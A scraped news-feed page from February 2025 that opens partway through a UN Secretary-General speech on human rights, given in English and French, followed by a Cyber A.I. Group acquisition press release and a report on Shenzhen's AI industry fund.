
    Through your work, and the work of the High Commissioner’s Office around the world, you’re supporting brave human rights defenders risking persecution, detention and even death.

    You’re working with governments, civil society and others to strengthen action on human rights.

    And you’re supporting investigations and accountability.

    Five years ago, we launched our Call to Action for Human Rights, embedding human rights across the work of the United Nations around the world in close cooperation with our partners.

    I will continue supporting this important work, and the High Commissioner’s Office, as we fight for human rights everywhere.
    Excellencies,

    We have our work cut out for us. 

    Human rights are the oxygen of humanity.

    But one by one, human rights are being suffocated.  

    By autocrats, crushing opposition because they fear what a truly empowered people would do. 

    By a patriarchy that keeps girls out of school, and women at arm’s length from basic rights.

    By wars and violence that strip populations of their right to food, water and education.

    By warmongers who thumb their nose at international law, international humanitarian law and the UN Charter.  

    Human rights are being suffocated by the climate crisis.

    And by a morally bankrupt global financial system that too often obstructs the path to greater equality and sustainable development.

    By runaway technologies like Artificial Intelligence that hold great promise, but also the ability to violate human rights at the touch of a button.

    By growing intolerance against entire groups — from Indigenous peoples, to migrants and refugees, to the LGBTQI+ community, to persons with disabilities.  
    And by voices of division and anger who view human rights not as a boon to humanity, but as a barrier to the power, profit and control they seek.

    In short — human rights are on the ropes and being pummeled hard.

    This represents a direct threat to all of the hard-won mechanisms and systems established over the last 80 years to protect and advance human rights. 

    But as the recently adopted Pact for the Future reminds us, human rights are, in fact, a source of solutions.

    The Pact provides a playbook on how we can win the fight for human rights on several fronts.   

    First — human rights through peace and peace through human rights.

    Conflicts inflict human rights violations on a massive scale.

    In the Occupied Palestinian Territory, violations of human rights have skyrocketed since the horrific Hamas attacks of October 7 and the intolerable levels of death and destruction in Gaza.

    And I am gravely concerned by the rising violence in the occupied West Bank by Israeli settlers and other violations, as well as calls for annexation. We are witnessing a precarious ceasefire. We must avoid at all costs a resumption of hostilities. The people in Gaza have already suffered too much.

    It’s time for a permanent ceasefire, the dignified release of all remaining hostages, irreversible progress towards a two-State solution, an end to the occupation, and the establishment of an independent Palestinian State, with Gaza as an integral part.

    In Sudan, bloodshed, displacement and famine are engulfing the country.  

    The warring parties must take immediate action to protect civilians, uphold human rights, cease hostilities and forge peace.

    And domestic and international human rights monitoring and investigation mechanisms should be permitted to document what is happening on the ground.

    In the Democratic Republic of the Congo, we see a deadly whirlwind of violence and horrifying human rights abuses, amplified by the recent M23 offensive, supported by the Rwandan Defense Forces.  
    As more cities fall, the risk of a regional war rises. 
     
    It’s time to silence the guns. 
     
    It’s time for diplomacy and dialogue. 
     
    The recent joint summit in Tanzania offered a way forward with a renewed call for an immediate ceasefire.

    The sovereignty and territorial integrity of the DRC must be respected.

    The Congolese people deserve peace.

    In the Sahel, I call for a renewed regional dialogue to protect citizens from terrorism and systemic violations of human rights, and to create the conditions for sustainable development. 

    In Myanmar, the situation has grown far worse in the four years since the military seized power and arbitrarily detained members of the democratically elected government.

    We need greater cooperation to bring an end to the hostilities and forge a path towards an inclusive democratic transition and a return to civilian rule, allowing for the safe return of the Rohingya refugees.

    And in Haiti, we are seeing massive human rights violations — including more than a million people displaced, and children facing a horrific increase in sexual violence and recruitment into gangs.

    In the coming days, I will put forward proposals to the United Nations Security Council for greater stability and security for the people of Haiti — namely through an effective UN assistance mechanism to support the Multilateral Security Support mission, the national police and Haitian authorities.

    A durable solution requires a political process — led and owned by the Haitian people — that restores democratic institutions through elections.

    The Pact for the Future calls for peace processes and approaches rooted in the Universal Declaration of Human Rights, international law and the UN Charter.

    It proposes specific actions to prioritize conflict prevention, mediation, resolution and peacebuilding.

    And it includes a commitment to tackle the root causes of conflict, which are so often enmeshed in denials of basic human needs and rights.  

    Second — the Pact for the Future advances human rights through development.

    The Sustainable Development Goals and human rights are fundamentally intertwined.

    They represent real human needs — health, food, water, education, decent work and social protection.

    With less than one-fifth of the Goals on track, the Pact calls for a massive acceleration through an SDG Stimulus, reforming the global financial architecture, and taking meaningful action for countries drowning in debt.

    This must include focused action to conquer the most widespread human rights abuse in history — inequality for women and girls.

    The Pact calls for investing in battling all forms of discrimination and violence against women and girls, and ensuring their meaningful participation and leadership across all walks of life.
    And along with the Declaration on Future Generations, the Pact calls for supporting the rights and futures of young people through decent work, removing barriers for youth participation, and enhancing training.

    And the Global Digital Compact calls on nations to champion young innovators, nurture entrepreneurial spirit, and equip the next generation with digital literacy and skills.
    Third — the Pact for the Future recognizes that the rule of law and human rights go hand-in-hand.

    The rule of law, when founded on human rights, is an essential pillar of protection.

    It shields the most vulnerable.

    It’s the first line of defense against crime and corruption.

    It supports fair, just and inclusive economies and societies.

    It holds perpetrators of human rights atrocities to account.

    It enables civic space for people to make their voices heard — and for journalists to carry out their essential work, free from interference or threats.

    And it reaffirms the world’s commitment to equal access to justice, good governance, and transparent and accountable institutions.

    Fourth — human rights through climate action.   

    Last year was the hottest on record — capping the hottest decade on record.

    Rising heat, melting glaciers and hotter oceans are a recipe for disaster.  

    Floods, droughts, deadly storms, hunger, mass displacement — our war on nature is also a war on human rights.

    We must choose a different path.

    I salute the many Member States who legally recognize the right to a healthy environment — and I call on all countries to do the same.

    Governments must keep their promise to produce new, economy-wide national climate action plans this year, well ahead of COP30 in Brazil.

    Those plans must limit the rise in global temperature to 1.5 degrees — including by accelerating the global energy transition.   

    We also need a surge in finance for climate action in developing countries, to adapt to global heating, slash emissions and accelerate the renewables revolution, which represents a massive economic opportunity.  

    We must stand up to the misleading campaign of many in the fossil fuel industry and its enablers who are aiding and abetting this madness, while also protecting and defending those on the front lines of climate justice.

    And fifth — human rights through stronger, better governance of technology.

    As fast-moving technologies expand into every aspect of our lives, I am deeply concerned about human rights being undermined.

    At its best, social media is a meeting ground for people to exchange ideas and spark respectful debate.

    But it can also be an arena of fiery combat and blatant ignorance.

    A place where the poisons of misinformation, disinformation, racism, misogyny and hate speech are not only tolerated — but often encouraged.

    Verbal violence online can easily spill into physical violence in real life. 

    Recent rollbacks on social media fact-checking and content moderation are re-opening the floodgates to more hate, more threats, and more violence.

    Make no mistake.

    These rollbacks will lead to less free speech, not more, as people become increasingly fearful to engage on these platforms.

    Meanwhile, the great promise of Artificial Intelligence is matched by limitless peril to undermine human autonomy, human identity, human control — and yes, human rights.

    In the face of these threats, the Global Digital Compact brings the world together to ensure that human rights are not sacrificed on the altar of technology.

    This includes working with digital companies and policymakers to extend human rights to every corner of cyberspace — including a new focus on information integrity across digital platforms.

    The Global Principles for Information Integrity I launched last year will support and inform this work as we push for a more humane information ecosystem.

    The Global Digital Compact also includes the first universal agreement on the governance of AI that brings every country to the table and commitments on capacity-building, so all countries and people benefit from AI’s potential.

    By investing in affordable internet, digital literacy, and infrastructure.

    By helping developing countries use AI to grow small businesses, improve public services, and connect communities to new markets.

    And by placing human rights at the centre of AI-driven systems.

    The Pact’s decisions to create an Independent International Scientific Panel on AI and an ongoing Global Dialogue that ensure all countries have a voice in shaping its future are important steps forward. We must implement them.

    Excellencies, ladies and gentlemen,

    We can help end the suffocation of human rights by breathing life into the Pact for the Future and the work of this Council. 

    Let’s do that together. We don’t have a moment to lose.

    And I thank you.

    [all-French translation]

    L’ouverture de la présente session coïncide avec un sinistre jalon : le troisième anniversaire de l’invasion de l’Ukraine par la Russie, en violation de la Charte des Nations Unies.

    Plus de 12 600 civils ont été tués et bien plus encore ont été blessés.

    Des communautés entières ont été anéanties.

    Des hôpitaux et des écoles ne sont plus que décombres.

    Nous ne devons ménager aucun effort pour mettre un terme à ce conflit et parvenir à une paix juste et durable, conformément à la Charte des Nations Unies, au droit international et aux résolutions de l’Assemblée générale.

    Les conflits comme la guerre en Ukraine prélèvent un lourd tribut.

    Ils déciment les populations.

    Ils érodent les principes fondamentaux que sont l’intégrité territoriale, la souveraineté et l’état de droit.

    Ils sapent les activités vitales de ce Conseil.

    Sans le respect des droits humains – qu’ils soient civils, culturels, économiques, politiques ou sociaux – la paix durable n’est qu’une chimère.

    Et comme ce Conseil, les droits humains sont une source de lumière dans l’obscurité la plus profonde.

    Grâce à vos travaux et à ceux que le Haut-Commissariat mène dans le monde entier, vous soutenez les défenseurs et défenseuses des droits humains qui, avec courage, risquent la persécution, la détention et même la mort.

    Vous travaillez avec les gouvernements, la société civile et d’autres acteurs pour renforcer l’action en faveur des droits humains.

    Et vous apportez votre soutien aux mécanismes d’enquête et d’établissement des responsabilités.

    Il y a cinq ans, nous avons lancé notre appel à l’action en faveur des droits humains, l’objectif étant d’intégrer les droits humains dans toutes les activités des Nations Unies menées à travers le monde, en étroite collaboration avec nos partenaires.

    Je continuerai d’apporter mon appui à ces travaux importants, ainsi qu’au Haut-Commissariat, dans notre lutte pour les droits humains partout dans le monde.

    Excellences,

    Nous avons du pain sur la planche.

    Les droits humains sont l’oxygène de l’humanité.

    Mais ils sont asphyxiés, les uns après les autres.

    Par les autocrates, qui écrasent l’opposition parce qu’ils craignent ce dont serait capable un peuple ayant pleinement les moyens d’agir.

    Par le patriarcat, qui empêche les filles d’aller à l’école et les femmes de jouir de leurs droits fondamentaux.

    Par les guerres et la violence, qui privent les populations de leur droit à l’alimentation, à l’eau, et à l’éducation.

    Par les bellicistes, qui se rient du droit international, du droit international humanitaire et de la Charte des Nations Unies.

    Les droits humains sont asphyxiés par la crise climatique.

    Par un système financier mondial en faillite morale, qui fait trop souvent obstacle à une plus grande égalité et au développement durable.

    Par des technologies incontrôlables comme l’intelligence artificielle, qui suscitent de grands espoirs mais recèlent aussi la capacité de violer les droits humains en un seul clic.

    Par une intolérance croissante à l’égard de groupes entiers, qu’il s’agisse des peuples autochtones, des migrants et réfugiés, de la communauté LGBTQI+, ou encore des personnes handicapées.

    Et par les discours de ceux qui, prêchant la division et la colère, considèrent les droits humains non pas comme un bienfait pour l’humanité, mais comme un obstacle au pouvoir, au profit et au contrôle qu’ils convoitent.

    En bref, les droits humains, sous le coup d’attaques vicieuses, sont dans leurs derniers retranchements.

    Cette situation représente une menace directe pour tous les mécanismes et systèmes établis de haute lutte au cours des 80 dernières années pour protéger et faire progresser les droits humains.

    Or, comme le rappelle le Pacte pour l’avenir adopté récemment, les droits humains sont, en fait, une source de solutions.

    Le Pacte définit les mesures que nous pouvons prendre pour gagner le combat pour les droits humains sur plusieurs fronts.

    Premièrement, réaliser les droits humains grâce à la paix et instaurer la paix grâce aux droits humains.

    Les conflits infligent des violations massives des droits humains.

    Dans le Territoire palestinien occupé, les violations des droits humains ont connu une hausse vertigineuse depuis les horribles attaques perpétrées par le Hamas le 7 octobre, et les niveaux intolérables de mort et de destruction à Gaza.

    Je suis gravement préoccupé par la montée des violences et des autres violations commises en Cisjordanie occupée par les colons israéliens, ainsi que par les appels à l’annexion. Nous assistons à un cessez-le-feu précaire. Nous devons éviter à tout prix une reprise des hostilités. La population de Gaza a déjà trop souffert.

    Il est temps d’instaurer un cessez-le-feu permanent, de libérer tous les otages restants, de réaliser des progrès irréversibles vers la solution des deux États, la fin l’occupation, et la création d’un État palestinien indépendant, dont Gaza ferait partie intégrante.

    Au Soudan, les bains de sang, les déplacements de population et la famine ravagent le pays.

    Les parties en conflit doivent prendre immédiatement des mesures pour protéger les civils, défendre les droits humains, cesser les hostilités et instaurer la paix.

    Les mécanismes nationaux et internationaux de surveillance et d’enquête en matière de droits humains devraient être autorisés à documenter ce qui se déroule sur le terrain.

    En République démocratique du Congo, nous sommes témoins d’un tourbillon mortel de violences et d’atroces violations des droits humains, amplifié par la récente offensive du M23, soutenue par les forces de défense rwandaises.

    Plus les villes tombent, plus le risque d’une guerre régionale augmente. 

    Il est temps de faire taire les armes.

    L’heure est à la diplomatie et au dialogue.

    Le récent sommet conjoint qui s’est tenu en Tanzanie a ouvert la voie en renouvelant l’appel à un cessez-le-feu immédiat.

    La souveraineté et l’intégrité territoriale de la RDC doivent être respectées.

    Le peuple congolais mérite la paix.

    Au Sahel, j’appelle à la reprise du dialogue régional afin de protéger les citoyens du terrorisme et des violations systémiques des droits humains et de créer les conditions du développement durable.

    Au Myanmar, la situation s’est considérablement aggravée au cours des quatre années qui se sont écoulées depuis que les militaires ont pris le pouvoir et détenu arbitrairement des membres du gouvernement démocratiquement élu.

    Il nous faut resserrer la coopération pour mettre fin aux hostilités et ouvrir la voie à une transition démocratique inclusive et au retour à un régime civil, permettant le retour en toute sécurité des réfugiés rohingyas.

    En Haïti, nous constatons des violations massives des droits humains : plus d’un million de personnes ont été déplacées et les enfants sont en proie à une augmentation effroyable des violences sexuelles et de l’enrôlement dans les gangs.

    Dans les jours à venir, je présenterai au Conseil de sécurité des Nations unies des propositions pour renforcer la stabilité et la sécurité du peuple haïtien, notamment par le biais d’un mécanisme d’assistance efficace des Nations unies destiné à soutenir la Mission multilatérale de soutien à la sécurité, à la police nationale et aux autorités haïtiennes.

    Une solution durable nécessite un processus politique – mené et pris en charge par le peuple haïtien – qui rétablisse les institutions démocratiques à travers des élections.

    Le Pacte pour l’avenir demande la mise en place de processus et de démarches pour la paix ancrés dans la Déclaration universelle des droits de l’Homme, le droit international et la Charte des Nations Unies.

    Le Pacte pour l’avenir appelle à des processus et des approches de paix fondés sur la Déclaration universelle des droits de l’homme, le droit international et la Charte des Nations unies.

    Il propose des mesures précises visant à privilégier la prévention des conflits, la médiation, le règlement des conflits et la consolidation de la paix.

    Il énonce également l’engagement pris de s’attaquer aux causes profondes des conflits, qui sont bien souvent liées au déni des besoins et des droits humains fondamentaux.

    Deuxièmement, le Pacte pour l’avenir fait progresser les droits humains grâce au développement.

    Les objectifs de développement durable et les droits humains sont intrinsèquement liés.

    Ils représentent des besoins humains réels : la santé, l’alimentation, l’eau, l’éducation, le travail décent et la protection sociale.

    Alors que moins d’un cinquième des objectifs sont en passe d’être réalisés, le Pacte appelle à une accélération massive des progrès grâce au plan de relance des objectifs de développement durable, à la réforme de
    l’architecture financière mondiale et à la prise de mesures réfléchies pour les pays qui croulent sous la dette.

    Il s’agit donc, notamment, de mener une action ciblée pour vaincre la violation des droits humains la plus répandue dans l’histoire : l’inégalité pour les femmes et les filles.

    Le Pacte appelle à investir pour lutter contre toutes les formes de discrimination et de violence à l’égard des femmes et des filles et pour permettre à celles-ci de participer véritablement à tous les domaines de la vie et d’y jouer un rôle moteur.

    Avec la Déclaration sur les générations futures, le Pacte appelle à défendre les droits et l’avenir des jeunes en promouvant le travail décent, en éliminant les obstacles à la participation des jeunes et en améliorant la formation.

    Le Pacte numérique mondial appelle tous les pays à soutenir les jeunes innovateurs, à cultiver l’esprit entrepreneurial et à doter la prochaine génération des connaissances et compétences numériques nécessaires.

    Troisièmement, le Pacte pour l’avenir établit que l’état de droit et les droits humains vont de pair.

    L’état de droit, lorsqu’il est fondé sur les droits humains, est un pilier essentiel de la protection.

    Il protège les plus vulnérables.

    C’est la première ligne de défense contre la criminalité et la corruption.

    Il favorise des économies et des sociétés équitables, justes et inclusives.

    Il oblige les auteurs d’atrocités commises en violation des droits humains à rendre compte de leurs actes.

    Il offre aux individus un espace civique où faire entendre leur voix et permet aux journalistes d’accomplir leur travail essentiel, à l’abri des ingérences et des menaces.

    Et il réaffirme l’engagement du monde en faveur de l’égalité d’accès à la justice, de la bonne gouvernance et d’institutions transparentes et responsables.

    Quatrièmement, réaliser les droits humains grâce à l’action climatique.

    L’année dernière a été la plus chaude jamais enregistrée, et vient couronner la décennie la plus chaude jamais enregistrée.

    La hausse des températures, la fonte des glaciers et le réchauffement des océans ne peuvent mener qu’au désastre.

    Inondations, sécheresses, tempêtes meurtrières, famine, déplacements massifs : notre guerre contre la nature est aussi une guerre contre les droits humains.

    Nous devons prendre un autre chemin.

    Je salue les nombreux États Membres qui reconnaissent légalement le droit à un environnement sain, et j’appelle tous les pays à faire de même.

    Les gouvernements doivent tenir leur promesse d’élaborer cette année de nouveaux plans d’action nationaux pour le climat couvrant l’ensemble de l’économie, et ce bien avant la COP 30 qui se tiendra au Brésil.

    Ces plans doivent limiter la hausse de la température mondiale à 1,5 degré, notamment en accélérant la transition énergétique mondiale.

    Nous avons également besoin d’une augmentation massive des financements pour l’action climatique dans les pays en développement, afin de s’adapter au réchauffement de la planète, de réduire les émissions et d’accélérer la révolution des énergies renouvelables, qui offre d’énormes possibilités économiques.

    Nous devons nous opposer aux campagnes mensongères menées par de nombreux acteurs de l’industrie des combustibles fossiles et à ceux qui la font vivre et s’en rendent complices…

    Tout comme nous devons protéger et défendre les personnes qui sont en première ligne de la lutte pour une justice climatique.

    Et cinquièmement, réaliser les droits humains grâce à une gouvernance renforcée et améliorée des technologies.

    À l’heure où des technologies en rapide mutation s’immiscent dans tous les aspects de notre vie, je m’inquiète des risques qu’elles représentent pour les droits humains.

    Dans le meilleur des cas, les médias sociaux sont un lieu de rencontre où l’on peut échanger des idées et débattre avec respect.

    Mais ils peuvent aussi devenir un théâtre de confrontations enflammées et d’une ignorance flagrante.

    Un lieu où les poisons que sont la mésinformation, la désinformation, le racisme, la misogynie et les discours de haine sont non seulement tolérés, mais, bien souvent, encouragés.

    La violence verbale en ligne peut facilement se transformer en violence physique dans le monde réel.

    Les reculs récents en matière de vérification des faits et de modération de contenu sur les réseaux sociaux rouvrent grand la porte à plus de haine, plus de menaces et plus de violence.

    Que l’on ne s’y trompe pas.

    Ces reculs entraîneront une diminution de la liberté d’expression, et non une amplification – car les gens craignent de plus en plus de s’exprimer sur ces plateformes.

    Dans le même temps, la grande promesse de l’intelligence artificielle s’accompagne d’un risque insondable qui met en péril l’autonomie, l’identité et le contrôle humains – jusqu’aux droits humains.

    Face à ces menaces, le Pacte numérique mondial rassemble le monde entier pour veiller à ce que les droits humains ne soient pas sacrifiés sur l’autel de la technologie.

    Il s’agit notamment de collaborer avec les entreprises numériques et les décideurs politiques pour étendre le respect des droits humains à tous les recoins du cyberespace, en mettant notamment l’accent sur l’intégrité de l’information sur toutes les plateformes numériques.

    Les Principes mondiaux pour l’intégrité de l’information que j’ai lancés l’année dernière viendront étayer et orienter les efforts que nous déploierons en vue de créer un écosystème de l’information plus humain.

    Le Pacte numérique mondial comprend également le premier accord universel sur la gouvernance de l’intelligence artificielle qui donne voix au chapitre à tous les pays, ainsi que des engagements en matière de renforcement des capacités, visant à ce que tous les pays et toutes les personnes bénéficient du potentiel de l’intelligence artificielle.

    Pour cela, il faut investir dans l’accès à Internet à un prix abordable, dans les formations au numérique et dans les infrastructures ;

    Aider les pays en développement à utiliser l’intelligence artificielle pour développer les petites entreprises, améliorer les services publics et connecter les communautés à de nouveaux marchés.

    Et mettre les droits humains au centre des systèmes fondés sur l’intelligence artificielle.

    Les décisions du Pacte – d’établir un Groupe scientifique international indépendant et un Dialogue mondial régulier garantissant la participation de tous les pays dans l’élaboration de l’avenir de l’intelligence artificielle – constituent des avancées importantes. Il faut les concrétiser.

    Excellences, Mesdames et Messieurs,

    Nous pouvons mettre fin à l’asphyxie des droits humains en donnant vie au Pacte pour l’avenir et aux travaux de ce Conseil.

    Attelons-nous à cette tâche – ensemble. Nous n’avons pas un instant à perdre.

    Et je vous remercie.

    MIL OSI United Nations News –

    February 24, 2025
  • MIL-OSI: Cyber A.I. Group Announces Significant Expansion of Acquisition Pipeline Supporting Company’s Global Buy-and-Build Strategy

    Source: GlobeNewswire (MIL-OSI)

    MIAMI and NEW YORK and PARIS, Feb. 24, 2025 (GLOBE NEWSWIRE) — Cyber A.I. Group, Inc. (“CyberAI” or the “Company”), an emerging growth Cybersecurity, Artificial Intelligence and IT services company engaged in the proactive acquisition of a broad spectrum of Cybersecurity service providers on an international basis, announced today that it has significantly increased its pool of potential acquisitions on a global basis. The announcement was made by Walter Hughes, Chief Executive Officer of Cyber A.I. Group.

    “As an emerging international company committed to significant growth through a highly proactive M&A process, the expansion of our pool of potential targets supports our ability to ultimately identify the best and most synergistic acquisitions,” noted Mr. Hughes. “Demonstrated by our recent announcements, we are positioning CyberAI to become a major player in the global Cybersecurity industry, scaling our operations in key markets worldwide. We believe our recent additions underscore our commitment for a truly international footprint as our pipeline continues to expand.”

    “Focused on global reach and leveraging the capital markets to accelerate our M&A strategy, CyberAI is targeting $100 million in annualized revenue over the next twelve to eighteen months,” added Darren Minton, Cyber A.I. Group’s Vice Chairman and President. “The addition of potential strategic international acquisitions, particularly in the UK, will support the Company’s international focus when it lists on the Main Board of the London Stock Exchange, after reaching the necessary annualized threshold requirements. It should be understood, of course, that CyberAI’s management will ultimately acquire only the best of the best of the prospective acquisition targets.”

    The expanded pipeline now represents over 300 acquisition targets across the following locations:

    • United States: 265
    • United Kingdom: 27
    • Europe: 42
    • Israel: 18

    Mr. Hughes concluded, “While there is no assurance that each of these acquisitions will be completed, the pure size of the pipeline creates an enormous prospective opportunity for CyberAI. Management conducts exhaustive due diligence and highly disciplined financial analysis prior to entering into a definitive agreement. Targets need to be committed to technology innovation, demonstrate significant growth and want to be part of a larger organization on the path to public ownership.”

    It is anticipated that New York-based ThinkEquity LLC, an investment bank specializing in public and private capital raises, will provide principal financing for the acquisitions. On October 18, 2024, CyberAI announced the execution of an investment banking agreement with ThinkEquity in support of CyberAI’s M&A strategy. For more information, please visit: www.think-equity.com.

    About Cyber A.I. Group

    Cyber A.I. Group, Inc. (“CyberAI”) is an international company engaged in the acquisition and management of worldwide Cybersecurity and IT services firms. CyberAI is pursuing a highly proactive “Buy & Build” strategy to rapidly expand operations internationally by acquiring a broad spectrum of IT services companies and repositioning them to address fast-growing market needs for Cybersecurity and Artificial Intelligence markets. The Company has developed an active pipeline of 300+ perspective acquisitions which are in various stages of analysis. The Company’s initial target is to acquire multiple companies representing aggregate revenues annualizing $100 million. CyberAI’s business model is focused on the acquisition and consolidation of IT services worldwide with proven ability in broad conventional technology services with strong cash flow and enhance performance through A.I.-driven Cybersecurity initiatives. This emphasis on conventional companies with strong revenues and EBITDA distinguishes CyberAI from the explosion of A.I. startups that may be pinning their future on a single technological breakthrough which may never materialize. This “Buy & Build” strategy provides CyberAI with the maximum flexibility for diversification and risk management for moving into new fields and addressing fast moving market opportunities. For additional information, please visit: cyberaigroup.io.

    A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/49a8e0a7-5585-4e85-9e76-58ffd3961a6f

    The MIL Network –

    February 24, 2025
  • MIL-OSI China: China’s tech hub Shenzhen to launch 10B yuan fund to accelerate AI industry growth

    Source: China State Council Information Office

    A robotic whale shark swims in a tank at Xiaomeisha Sea World in Shenzhen, south China’s Guangdong Province, Sept. 22, 2024. [Photo/Xinhua]

    The south China tech hub of Shenzhen will launch a 10 billion yuan (about 1.39 billion U.S. dollars) industry fund to support the development of artificial intelligence (AI) and robotics, focusing on AI software, hardware and embodied intelligence, local authorities said Sunday.

    The fund is part of the city’s broader push to strengthen its position as a global hub for AI innovation.

    City officials revealed the plan at a press conference, announcing an additional 4.5 billion yuan in funding to be raised this year. This funding will cover up to 60 percent of computing power costs for businesses, with a maximum of 10 million yuan per enterprise, provided through vouchers and subsidies.

    Shenzhen’s AI ambitions go beyond financial support. The city plans to expand its AI application base with an additional 100 scenarios set to roll out in 2025, focusing on sectors like municipal sanitation, emergency response and health care. This follows the introduction of nearly 200 AI-powered application scenarios already in place across the city.

    Shenzhen aims to create a highly systematic, complete and collaborative innovation ecosystem, accelerate the development of a globally influential industrial and technological innovation center, and build itself into a city of innovation, said Zhang Lin, director of the Shenzhen municipal bureau of science and technology innovation.

    Shenzhen, once a small fishing village in Guangdong Province, has transformed into one of China’s most dynamic and innovative cities. It is home to more than 2,200 AI companies and boasts a comprehensive AI industry chain that spans from smart chips and algorithm frameworks to large models and software-hardware applications, according to data from the Shenzhen AI industry office.

    Data from iResearch, an industry research and consulting institute, indicates that China’s AI industry is projected to reach 811 billion yuan by 2028, with emerging sectors such as AI and robotics poised to unlock significant market potential and development opportunities.

    MIL OSI China News –

    February 24, 2025
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